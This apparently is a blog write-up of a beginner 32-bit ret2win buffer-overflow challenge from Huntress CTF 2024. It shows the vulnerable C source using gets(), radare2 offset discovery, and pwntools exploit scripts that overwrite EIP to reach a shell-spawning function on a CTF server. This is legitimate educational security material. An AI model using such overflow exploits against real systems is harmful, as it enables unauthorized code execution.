wintertia's writeups
Check my GitHub!
  • Welcome
  • My Setup
  • WRITEUPS 2025
    • ♾️RECURSION 2025
      • When Yh
    • 🌌Undutmaning25 CTF
      • beep
      • Rocketlauncher
    • ♠️ACECTF 2025
      • !Underflow
      • jumPIEng
      • Running Out of Time
    • 🧱BITS CTF 2025
      • Biscuits
      • BabyPWN
    • πŸ–₯️NETCOMP CTF 2025
      • Pwn - Intro
  • Writeups 2024
    • ☝️Pointer Overflow CTF 2024
      • Exploit 300 - Empress of What
    • πŸ•΅οΈβ€β™‚οΈThe Hacker Conclave v2
      • pwnc3
      • pwnc2
      • pwnc1
    • πŸš€1337UP LIVE 2024
      • Floormat Mega Sale
      • Retro2Win
    • 🀴DTS TSA - Cyber Champion 2024
      • 101 - Pwn
    • πŸŸ₯TCP1P Playground 365
      • ret2win 4
      • ret2win 3
      • ret2win 2
      • ret2win
    • πŸ‡¦πŸ‡·MetaRed Argentina CERTUNLP 2024
      • flagshop
      • Warmup
      • Trust in my calculator
    • πŸ‘»SpookyCTF 2024
      • Phenominal-Photo
      • devil's-secret-stash
      • two-frames-one-champ
    • 🏹Huntress CTF 2024
      • Baby Buffer Overflow - 32 bit
Powered by GitBook
On this page
  1. Writeups 2024
  2. Huntress CTF 2024

Baby Buffer Overflow - 32 bit

Binary Exploitation

Last updated 6 months ago

Can you command this program to where it cannot go? To get the flag, you must somehow take control of its excecution. Is it even possible?

Author: @aenygma

This is a simple ret2win beginner challenge on a 32 bit binary. This was the source code:

#include <stdio.h>
#include <unistd.h>

//gcc -fno-pie -no-pie -Wno-implicit-function-declaration -fno-stack-protector -m32 babybufov.c -o babybufov

void target(){
    puts("Jackpot!");
    char* executable="/bin/bash";
    char* argv[]={executable, NULL};
    execve(executable,argv,NULL);
}

int vuln(){
    char buf[16];
    gets(buf);
    return 0;
}

int main(){
    setbuf(stdin,NULL);
    setbuf(stdout,NULL);
    puts("Gimme some data!");
    fflush(stdout);
    vuln();
    puts("Failed... :(");
}

When I first tried running it, I was hit with an error where I couldn't run the binary or even compile the binary. Turns out, I just had to install gcc-multilib and then I was able to compile a binary using the command mentioned in the source code.

$ ragg2 -P 64 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAV
[0xf7fa05b0]> dc
Gimme some data!
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAV
[+] SIGNAL 11 errno=0 addr=0x414b4141 code=1 si_pid=1095450945 ret=0
[0x414b4141]> wopO `dr eip`
28

With the offset, I needed to overwrite EIP with the return address of the target function, that I was able to find using radare2:

[0xf7f405b0]> afl
...
0x080491a6    1     65 sym.target
...

Using all the information found so far, I was able to create a script using pwntools:

from pwn import *

p = process('./babybufov')
#p = remote('challenge.ctf.games', 31180)

payload = b'A' * (28)
payload += p32(0x080491a6)

log.info(p.clean())
p.sendline(payload)
p.interactive()

After pwning the local binary and being able to run cat flag.txt, I tried the remote but was given EOF. But as I realised, the function address I compiled using my device is different from the provided binary. Even though I wasn't able to execute the given binary, I was still able to extract function addresses using an objdump:

$ objdump -t babybufov | grep target
080491f5 g     F .text  00000041 target

Using this knowledge, the final payload became:

from pwn import *

#p = process('./babybufov')
p = remote('challenge.ctf.games', 31180)

payload = b'A' * (28)
payload += p32(0x080491f5)

log.info(p.clean())
p.sendline(payload)
p.interactive()

Using this payload, I was able to successfully pwn the remote connection to retrieve the flag!

After that, I followed guide on ret2win. So after using a De-Brujin sequence and pasting it into radare2, I was able to obtain an offset to the EIP (I didn't understand what an offset was doing back then... but now I do...), with these commands:

🏹
ir0nstone's
17KB
babybufov
510B
babybufov.c